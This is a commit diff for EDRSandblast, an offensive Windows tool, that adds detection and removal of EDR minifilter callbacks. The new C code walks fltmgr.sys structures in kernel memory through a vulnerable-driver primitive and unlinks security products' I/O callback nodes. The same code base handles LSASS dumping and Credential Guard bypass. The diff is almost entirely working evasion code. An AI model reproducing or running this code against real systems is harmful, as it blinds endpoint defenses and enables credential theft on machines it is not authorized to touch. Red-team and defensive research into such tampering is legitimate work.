[new feature] Implements EDR minifilter callbacks detection and removal

Co-authored-by: Windy Bug <139051196+0mWindyBug@users.noreply.github.com>
This commit is contained in:
Maxime Meignan
2023-11-29 14:32:35 +01:00
parent 1b1919ba8a
commit e567c488ff
12 changed files with 594 additions and 11 deletions
+4
View File
@@ -171,11 +171,13 @@
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
<ClCompile Include="KernellandBypass\KernelDSE.c" />
<ClCompile Include="KernellandBypass\KernelUtils.c" />
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c" />
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
<ClCompile Include="UserlandBypass\Syscalls.c" />
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
<ClCompile Include="Utils\CiOffsets.c" />
<ClCompile Include="Utils\FileUtils.c" />
<ClCompile Include="Utils\FltmgrOffsets.c" />
<ClCompile Include="Utils\HttpClient.c" />
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
@@ -209,7 +211,9 @@
<ClInclude Include="Includes\DriverDBUtil.h" />
<ClInclude Include="Includes\DriverGDRV.h" />
<ClInclude Include="Includes\DriverRTCore.h" />
<ClInclude Include="Includes\FltmgrOffsets.h" />
<ClInclude Include="Includes\KernelDSE.h" />
<ClInclude Include="Includes\MinifilterCallbacks.h" />
<ClInclude Include="Includes\PrintFunctions.h" />
<ClInclude Include="Includes\PdbParser.h" />
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
+12
View File
@@ -129,6 +129,12 @@
<ClCompile Include="Utils\PdbParser.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\FltmgrOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Includes\CredGuard.h">
@@ -254,6 +260,12 @@
<ClInclude Include="Includes\PdbParser.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\MinifilterCallbacks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FltmgrOffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
+50
View File
@@ -0,0 +1,50 @@
#pragma once
#include <Windows.h>
enum FltmgrOffsetType {
FltGlobals = 0,
_GLOBALS_FrameList,
_FLT_RESOURCE_LIST_HEAD_rList,
_FLTP_FRAME_Links,
_FLTP_FRAME_RegisteredFilters,
_FLT_OBJECT_PrimaryLink,
_FLT_FILTER_DriverObject,
_FLT_FILTER_InstanceList,
_DRIVER_OBJECT_DriverInit,
_FLT_INSTANCE_CallbackNodes,
_FLT_INSTANCE_FilterLink,
_SUPPORTED_FLTMGR_OFFSETS_END
};
union FltmgrOffsets {
// structure version of fltmgr.sys's offsets
struct {
DWORD64 FltGlobals;
DWORD64 _GLOBALS_FrameList;
DWORD64 _FLT_RESOURCE_LIST_HEAD_rList;
DWORD64 _FLTP_FRAME_Links;
DWORD64 _FLTP_FRAME_RegisteredFilters;
DWORD64 _FLT_OBJECT_PrimaryLink;
DWORD64 _FLT_FILTER_DriverObject;
DWORD64 _FLT_FILTER_InstanceList;
DWORD64 _DRIVER_OBJECT_DriverInit;
DWORD64 _FLT_INSTANCE_CallbackNodes;
DWORD64 _FLT_INSTANCE_FilterLink;
} st;
// array version (usefull for code factoring)
DWORD64 ar[_SUPPORTED_FLTMGR_OFFSETS_END];
};
union FltmgrOffsets g_fltmgrOffsets;
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet);
BOOL LoadFltmgrOffsetsFromFile(TCHAR* fltmgrOffsetFilename);
void SaveFltmgrOffsetsToFile(TCHAR* fltmgrOffsetFilename);
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb);
LPTSTR GetFltmgrPath();
LPTSTR GetFltmgrVersion();
+5 -1
View File
@@ -21,6 +21,7 @@
enum kernel_callback_type_e {
NOTIFY_ROUTINE_CB,
OBJECT_CALLBACK,
MINIFILTER_CALLBACK,
};
struct KRNL_CALLBACK {
enum kernel_callback_type_e type;
@@ -34,8 +35,11 @@ struct KRNL_CALLBACK {
struct object_callback_t {
DWORD64 enable_addr;
} object_callback;
struct minifilter_callback_t {
DWORD64 callback_node;
} minifilter_callback;
} addresses;
DWORD64 callback_func;
DWORD64 callback_func; //TODO: reorganize this struct since object callbacks and minifilter callbacks have preoperations and postoperations
BOOL removed;
};
@@ -0,0 +1,9 @@
#pragma once
#include <Windows.h>
#include "KernelCallbacks.h"
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose);
#if WriteMemoryPrimitiveIsAtomic
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
#endif
@@ -0,0 +1,167 @@
#include <Windows.h>
#include <Tchar.h>
#ifdef _DEBUG
#include <assert.h>
#endif
#include "FltmgrOffsets.h"
#include "IsEDRChecks.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "PrintFunctions.h"
#include "PdbSymbols.h"
#include "MinifilterCallbacks.h"
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) {
BOOL edrCallbacksWereFound = FALSE;
DWORD64 fltmgr_base = FindKernelModuleAddressByName(L"fltmgr.sys");
if (!fltmgr_base)
return -1;
if (verbose) {
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tfltmgr.sys : %016llx\n"), fltmgr_base);
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFltGlobals : %016llx\n"), fltmgr_base
+ g_fltmgrOffsets.st.FltGlobals);
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFrameList : %016llx\n"), fltmgr_base
+ g_fltmgrOffsets.st.FltGlobals
+ g_fltmgrOffsets.st._GLOBALS_FrameList
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);
}
_putts_or_not(TEXT("[*] [MinifilterCallbacks]\tEnumerating minifilters' frames, filters, instances and callback nodes:"));
DWORD64 frame_list_header = fltmgr_base
+ g_fltmgrOffsets.st.FltGlobals
+ g_fltmgrOffsets.st._GLOBALS_FrameList
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
for (DWORD64 current_frame_shifted = ReadMemoryDWORD64(frame_list_header);
current_frame_shifted != frame_list_header;
current_frame_shifted = ReadMemoryDWORD64(current_frame_shifted)
) {
DWORD64 current_frame = current_frame_shifted - g_fltmgrOffsets.st._FLTP_FRAME_Links;
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\t_FLTP_FRAME : %016llx:\n"), current_frame);
DWORD64 filter_list_header = current_frame + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
for (DWORD64 current_filter_shifted = ReadMemoryDWORD64(filter_list_header);
current_filter_shifted != filter_list_header;
current_filter_shifted = ReadMemoryDWORD64(current_filter_shifted)
) {
DWORD64 current_filter = current_filter_shifted - g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink;
// check if current filter is EDR-related
DWORD64 driverObject = ReadMemoryDWORD64(current_filter + g_fltmgrOffsets.st._FLT_FILTER_DriverObject);
DWORD64 driverInit = ReadMemoryDWORD64(driverObject + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit);
DWORD64 driverOffset;
TCHAR* driver = FindDriverName(driverInit, &driverOffset);
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t_FLT_FILTER %016llx (%s)\n"), current_filter, driver);
if (driver && isDriverNameMatchingEDR(driver)) {
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\tEDR-related filter found! Enumerating callbacks from all instances:"));
DWORD64 instance_list_header = current_filter + g_fltmgrOffsets.st._FLT_FILTER_InstanceList + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
for (DWORD64 current_instance_shifted = ReadMemoryDWORD64(instance_list_header);
current_instance_shifted != instance_list_header;
current_instance_shifted = ReadMemoryDWORD64(current_instance_shifted)
) {
DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink;
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance);
//printf("\t[*] CallbackNodes : 0x%p\n", (PVOID)CallbackNodesEntry);
// for each CALLBACK_NODE in the array
DWORD64 CallbackNodesEntry = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes;
SIZE_T nbCallbackNodes = 0;
for (int j = 0; j < 50; j++)
{
DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesEntry + (j * 8));
// Register all callback nodes
if (CallbackNodePointer)
{
// Ugly hack: check if the node really is part of a linked list or have already been unlinked
// TODO: change the whole logic of this file and browse callback nodes directly from _FLT_VOLUME.Callbacks.OperationLists ?
DWORD64 prevNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Blink));
DWORD64 prevNodeNext = ReadMemoryDWORD64(prevNode + offsetof(LIST_ENTRY, Flink));
DWORD64 nextNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Flink));
DWORD64 nextNodePrev = ReadMemoryDWORD64(nextNode + offsetof(LIST_ENTRY, Blink));
if (prevNodeNext != CallbackNodePointer && nextNodePrev != CallbackNodePointer) {
continue;
}
struct KRNL_CALLBACK cb = {
.type = MINIFILTER_CALLBACK,
.addresses.minifilter_callback.callback_node = CallbackNodePointer,
.callback_func = 0, //TODO: complete with preoperation & postoperations func address for information
.driver_name = driver,
.removed = FALSE,
};
AddFoundKernelCallback(foundEDRCallbacks, &cb);
edrCallbacksWereFound = TRUE;
nbCallbackNodes++;
}
}
_tprintf_or_not(TEXT("%llu callback nodes found!\n"), nbCallbackNodes);
}
}
}
}
return edrCallbacksWereFound;
}
#if WriteMemoryPrimitiveIsAtomic
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list"));
SIZE_T counter = 0;
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS;
ptr < edrCallbacks->EDR_CALLBACKS + edrCallbacks->size;
ptr++
) {
if (ptr->type == MINIFILTER_CALLBACK &&
ptr->removed == FALSE) {
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress);
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress);
ptr->removed = TRUE;
counter++;
}
}
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter);
}
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
BOOL success = TRUE;
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place"));
SIZE_T counter = 0;
// reinsert the nodes in the inverse order to avoid invalid states
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS + edrCallbacks->size - 1;
edrCallbacks->EDR_CALLBACKS <= ptr;
ptr--
) {
if (ptr->type == MINIFILTER_CALLBACK &&
ptr->removed == TRUE) {
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
// Checks that "previous" and "next" nodes are still next to each other in the list
DWORD64 prevNodeFlink = ReadMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink));
DWORD64 nextNodeBlink = ReadMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink));
if (prevNodeFlink != nextNodeAddress || nextNodeBlink != prevNodeAddress) {
_putts_or_not(TEXT("[-] [MinifilterCallbacks]\tWARNING: a callback node could not have been restored! Maybe the node list changed between node removal and node reinsertion?"));
success = FALSE;
continue;
}
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), callbackNodeAddress);
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), callbackNodeAddress);
ptr->removed = FALSE;
counter++;
}
}
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were restored!\n"), counter);
return success;
}
#endif
+157
View File
@@ -0,0 +1,157 @@
#include <Windows.h>
#include <Shlwapi.h>
#include <stdio.h>
#include <tchar.h>
#include "FileUtils.h"
#include "FileVersion.h"
#include "PrintFunctions.h"
#include "PdbSymbols.h"
#include "FltmgrOffsets.h"
union FltmgrOffsets g_fltmgrOffsets = { 0 };
BOOL FltmgrOffsetsAreLoaded() {
return g_fltmgrOffsets.ar[0] != 0;
}
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet) {
if (FltmgrOffsetsAreLoaded()) {
//offsets already loaded
return TRUE;
}
// load via CSV first
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
if (LoadFltmgrOffsetsFromFile(fltmgrOffsetFilename)) {
return TRUE;
}
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of fltmgr.sys in use."));
}
// load via internet then
if (canUseInternet) {
_putts_or_not(TEXT("[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
#if _DEBUG
if (LoadFltmgrOffsetsFromInternet(FALSE)) {
#else
if (LoadFltmgrOffsetsFromInternet(TRUE)) {
#endif
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
SaveFltmgrOffsetsToFile(fltmgrOffsetFilename);
}
return TRUE;
}
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
}
return FALSE;
}
BOOL LoadFltmgrOffsetsFromFile(TCHAR * fltmgrOffsetFilename) {
LPTSTR fltmgrVersion = GetFltmgrVersion();
_tprintf_or_not(TEXT("[*] System's fltmgr.sys file version is: %s\n"), fltmgrVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("r"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
return FALSE;
}
TCHAR lineFltmgrVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineFltmgrVersion, _countof(lineFltmgrVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(fltmgrVersion, lineFltmgrVersion) == 0) {
TCHAR* endptr;
_tprintf_or_not(TEXT("[+] Offsets are available for this version of fltmgr.sys (%s)!\n"), fltmgrVersion);
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
g_fltmgrOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return FltmgrOffsetsAreLoaded();
}
void SaveFltmgrOffsetsToFile(TCHAR * fltmgrOffsetFilename) {
LPTSTR fltmgrVersion = GetFltmgrVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), fltmgrVersion);
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_fltmgrOffsets.ar[i]);
}
_fputts(TEXT("\n"), offsetFileStream);
fclose(offsetFileStream);
}
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb) {
LPTSTR fltmgrPath = GetFltmgrPath();
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(fltmgrPath);
if (sym_ctx == NULL) {
return FALSE;
}
g_fltmgrOffsets.st.FltGlobals = GetSymbolOffset(sym_ctx, "FltGlobals");
g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit = GetFieldOffset(sym_ctx, "_DRIVER_OBJECT", L"DriverInit");
g_fltmgrOffsets.st._FLTP_FRAME_Links = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"Links");
g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"RegisteredFilters");
g_fltmgrOffsets.st._FLT_FILTER_DriverObject = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"DriverObject");
g_fltmgrOffsets.st._FLT_FILTER_InstanceList = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"InstanceList");
g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"CallbackNodes");
g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"FilterLink");
g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink = GetFieldOffset(sym_ctx, "_FLT_OBJECT", L"PrimaryLink");
g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList = GetFieldOffset(sym_ctx, "_FLT_RESOURCE_LIST_HEAD", L"rList");
g_fltmgrOffsets.st._GLOBALS_FrameList = GetFieldOffset(sym_ctx, "_GLOBALS", L"FrameList");
UnloadSymbols(sym_ctx, delete_pdb);
return FltmgrOffsetsAreLoaded();
}
TCHAR g_fltmgrPath[MAX_PATH] = { 0 };
LPTSTR GetFltmgrPath() {
if (_tcslen(g_fltmgrPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute fltmgr.sys path.
PathAppend(g_fltmgrPath, systemDirectory);
PathAppend(g_fltmgrPath, TEXT("drivers"));
PathAppend(g_fltmgrPath, TEXT("fltMgr.sys"));
}
return g_fltmgrPath;
}
TCHAR g_fltmgrVersion[256] = { 0 };
LPTSTR GetFltmgrVersion() {
if (_tcslen(g_fltmgrVersion) == 0) {
LPTSTR fltmgrPath = GetFltmgrPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), fltmgrPath);
_stprintf_s(g_fltmgrVersion, 256, TEXT("fltmgr_%s.sys"), versionBuffer);
}
return g_fltmgrVersion;
}
+50 -3
View File
@@ -14,11 +14,13 @@
#include "CredGuard.h"
#include "DriverOps.h"
#include "FileUtils.h"
#include "FltmgrOffsets.h"
#include "Firewalling.h"
#include "ETWThreatIntel.h"
#include "KernelCallbacks.h"
#include "KernelDSE.h"
#include "KernelMemoryPrimitives.h"
#include "MinifilterCallbacks.h"
#include "NtoskrnlOffsets.h"
#include "ObjectCallbacks.h"
#include "ProcessDump.h"
@@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) {
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver> \n\
[--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]* \n\
[--kernelmode] [--dont-unload-driver] [--no-restore] \n\
[--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
[--nt-offsets <NtoskrnlOffsets.csv>] [--fltmgr-offsets <FltmgrOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
[--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>] \n\
[--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>] \n\
[--no-kdp]\n\
@@ -168,6 +170,8 @@ Offset-related options:\n\
\n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
--fltmgr-offsets <FltmgrOffsets.csv> Path to the CSV file containing the required fltmgr.sys's offsets\n\
Default to 'FltmgrOffsets.csv' in the current directory.\n\
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\
@@ -204,6 +208,7 @@ Dump options:\n\
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR processName[] = TEXT("lsass.exe");
TCHAR outputPath[MAX_PATH] = { 0 };
BOOL verbose = FALSE;
@@ -219,6 +224,7 @@ Dump options:\n\
BOOL ETWTIState = FALSE;
BOOL foundNotifyRoutineCallbacks = FALSE;
BOOL foundObjectCallbacks = FALSE;
BOOL foundMinifilterCallbacks = FALSE;
HOOK* hooks = NULL;
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
@@ -305,6 +311,14 @@ Dump options:\n\
}
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++;
if (i > argc) {
@@ -483,6 +497,14 @@ Dump options:\n\
PrintNtoskrnlOffsets();
}
if (_tcslen(fltmgrOffsetCSVPath) == 0) {
PathAppend(fltmgrOffsetCSVPath, currentFolderPath);
PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv"));
}
if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) {
return EXIT_FAILURE;
}
// Install the vulnerable driver to have read / write in Kernel memory.
LPTSTR serviceNameIfAny = NULL;
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
@@ -533,6 +555,19 @@ Dump options:\n\
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)..."));
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found"));
if (foundMinifilterCallbacks) {
#if WriteMemoryPrimitiveIsAtomic
isSafeToExecutePayloadKernelland = FALSE;
#else
_putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks"));
#endif
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
@@ -827,7 +862,13 @@ Dump options:\n\
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
#if WriteMemoryPrimitiveIsAtomic
if (foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations..."));
RemoveEDRMinifilterCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
#endif
/*
* 2/3 : Starting "resursively" our process.
*/
@@ -866,7 +907,13 @@ Dump options:\n\
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
#if WriteMemoryPrimitiveIsAtomic
if (restoreCallbacks == TRUE && foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
RestoreEDRMinifilterCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
#endif
// Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) {
+29 -6
View File
@@ -6,8 +6,10 @@
#include "ETWThreatIntel.h"
#include "FileUtils.h"
#include "Firewalling.h"
#include "FltmgrOffsets.h"
#include "KernelCallbacks.h"
#include "KernelMemoryPrimitives.h"
#include "MinifilterCallbacks.h"
#include "PrintFunctions.h"
#include "ProcessDump.h"
#include "ProcessDumpDirectSyscalls.h"
@@ -221,7 +223,6 @@ EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
EDRSB_STATUS status;
BOOL driverInstallRequired = FALSE;
BOOL kernelOffsetsLoaded = FALSE;
ctx->config = config;
if (config->actions.ProtectProcess) {
@@ -232,11 +233,13 @@ EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
if (config->bypassMode.Krnlmode) {
status = _LoadNtosKrnlOffsets(ctx);
if (status != EDRSB_SUCCESS) {
_tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
_tprintf_or_not(TEXT("[-] Init failed: required ntoskrnl.exe offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
return status;
}
else {
kernelOffsetsLoaded = TRUE;
BOOL success = LoadFltmgrOffsets(ctx->config->fltmgrOffsetFilePath, ctx->config->offsetRetrievalMethod.Internet);
if (!success) {
_tprintf_or_not(TEXT("[-] Init failed: required fltmgr.sys offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
return status;
}
driverInstallRequired = TRUE;
@@ -289,6 +292,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
BOOL isSafeToExecutePayload = TRUE;
BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectsCallbacks;
BOOL foundMinifilterCallbacks;
BOOL isETWTICurrentlyEnabled;
BOOL verbose = ctx ? ctx->config->verbose : FALSE;
@@ -311,7 +315,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->foundNotifyRoutineCallbacks = TRUE;
}
if (ctx) {
_tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT"));
_tprintf_or_not(TEXT("[+] Kernel notify routines have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("not "));
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
}
@@ -321,6 +325,15 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
}
if (ctx) {
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
_putts_or_not(TEXT("[+] Check if EDR minifilter callbacks are registered for monitoring disk operations"));
}
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
if (ctx && foundMinifilterCallbacks) {
ctx->foundMinifilterCallbacks = TRUE;
}
if (ctx) {
_tprintf_or_not(TEXT("[+] EDR minifilter callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
}
if (ctx) {
@@ -343,7 +356,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->krnlmodeMonitoringEnumDone = TRUE;
}
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) {
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || foundMinifilterCallbacks || isETWTICurrentlyEnabled) {
status = EDRSB_KNRL_MONITORING;
}
else {
@@ -380,6 +393,11 @@ EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
if (ctx->foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Disabling minifilter callbacks registered by EDR to monitor I/O operations..."));
RemoveEDRMinifilterCallbacks(ctx->foundEDRDrivers);
}
